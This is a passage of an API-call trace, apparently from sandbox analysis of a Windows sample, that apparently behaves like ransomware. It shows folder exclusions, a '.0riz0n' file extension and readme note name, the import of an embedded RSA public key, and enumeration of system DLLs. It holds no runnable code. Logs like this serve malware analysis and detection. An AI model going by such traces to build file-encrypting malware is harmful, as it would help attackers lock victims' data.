Size=0x40) returned 0x3ec1f8 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2d8 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1b0 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed298 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec168 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed288 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x20) returned 0x3ebc08 [0026.561] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed5e8) returned 1 [0026.561] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed278 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec240 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed268 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed258 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x20) returned 0x505058 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed248 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec5e8 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed238 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec630 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed228 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec678 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed218 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec6c0 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed208 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec708 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed1e8 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec750 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed1f8 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec798 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec1f8) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2c8) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec1b0) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed2d8) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec168) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed298) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed288) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec240) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed278) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed268) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed258) returned 1 [0026.562] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ebc08) returned 1 [0026.562] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.563] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.563] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.563] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.563] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.563] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.563] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.563] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.563] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.563] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.563] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.563] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.566] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.566] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed5e8 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed258 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed268 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec0d8 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed278 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec240 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed288 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x20) returned 0x3ebc08 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed5e8) returned 1 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed298 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec168 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2d8 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1b0 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed2c8 [0026.567] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec1f8 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec5e8) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed248) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec630) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed238) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec678) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed228) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec6c0) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed218) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec708) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed208) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec750) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed1e8) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec798) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed1f8) returned 1 [0026.567] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505058) returned 1 [0026.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0026.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec1f8, cbMultiByte=25, lpWideCharStr=0x3edae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec1b0, cbMultiByte=12, lpWideCharStr=0x3edb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec168, cbMultiByte=8, lpWideCharStr=0x3edbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec120, cbMultiByte=6, lpWideCharStr=0x3edc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec240, cbMultiByte=11, lpWideCharStr=0x3edd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec0d8, cbMultiByte=7, lpWideCharStr=0x3edeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpWideCharStr=0x3edf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0026.568] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x502850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0026.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x502850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x502850, cbMultiByte=14, lpWideCharStr=0x3edfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0026.569] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x502850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x502850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x502850, cbMultiByte=10, lpWideCharStr=0x3ee048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0026.569] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x502850, nSize=0x2800 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x502850, cbMultiByte=36, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x502850, cbMultiByte=36, lpWideCharStr=0x3ee0d0, cchWideChar=36 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 36 [0026.569] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x502850, nSize=0x2800 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x502850, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x502850, cbMultiByte=45, lpWideCharStr=0x3ee158, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 45 [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x505058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x505058, cbMultiByte=7, lpWideCharStr=0x3ee1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x505058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0026.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x505058, cbMultiByte=14, lpWideCharStr=0x3ee268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0026.569] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0026.569] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x34f5a4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x34f5a4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0026.570] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x507cf8, pcbBinary=0x34f5a4, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x507cf8, pcbBinary=0x34f5a4, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0026.570] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x507cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x34f5a4 | out: pvStructInfo=0x0, pcbStructInfo=0x34f5a4) returned 1 [0026.573] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x507cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x507f40, pcbStructInfo=0x34f5a4 | out: pvStructInfo=0x507f40, pcbStructInfo=0x34f5a4) returned 1 [0026.573] CryptImportPublicKeyInfo (in: hCryptProv=0x64df20, dwCertEncodingType=0x10001, pInfo=0x507f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x507f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x507f78*, PublicKey.cUnusedBits=0x0), phKey=0x34f5a8 | out: phKey=0x34f5a8*=0x64dee0) returned 1 [0026.574] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x507f40) returned 1 [0026.574] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x507cf8) returned 1 [0026.574] ReleaseMutex (hMutex=0xa0) returned 1 [0026.574] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505058) returned 1 [0026.574] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x2800) returned 0x505058 [0026.574] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec900 [0026.574] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec900) returned 1 [0026.574] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505058) returned 1 [0026.574] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x2800) returned 0x505058 [0026.574] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec900 [0026.574] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec900) returned 1 [0026.574] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec900 [0026.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0026.574] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee1e0 [0026.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ec900, cbMultiByte=9, lpWideCharStr=0x3ee1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0026.575] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee268 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee1e0) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee268) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec900) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x505058) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x502850) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec0d8) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed258) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec240) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed268) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed278) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed288) returned 1 [0026.575] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed5e8) returned 1 [0026.575] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0026.575] StartServiceCtrlDispatcherW (lpServiceTable=0x34f670*(lpServiceName="", lpServiceProc=0x97d040)) returned 0 [0026.582] GetLastError () returned 0x427 [0026.582] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\WKXI1F~1:bin C:\\Users\\5P5NRG~1\\Desktop\\3307.exe" [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee268 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5c) returned 0x3edd28 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee1e0 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee2f0 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee378 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee400 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee488 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee510 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee598 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee620 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee6a8 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee730 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee7b8 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x507cf8 [0026.582] GetSystemWow64DirectoryW (in: lpBuffer=0x507cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0026.582] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x507cf8) returned 1 [0026.582] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee840 [0026.583] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee840) returned 1 [0026.583] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee840 [0026.583] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x34f3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x34f3cc) returned 0x652a08 [0026.583] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.583] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.583] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.583] 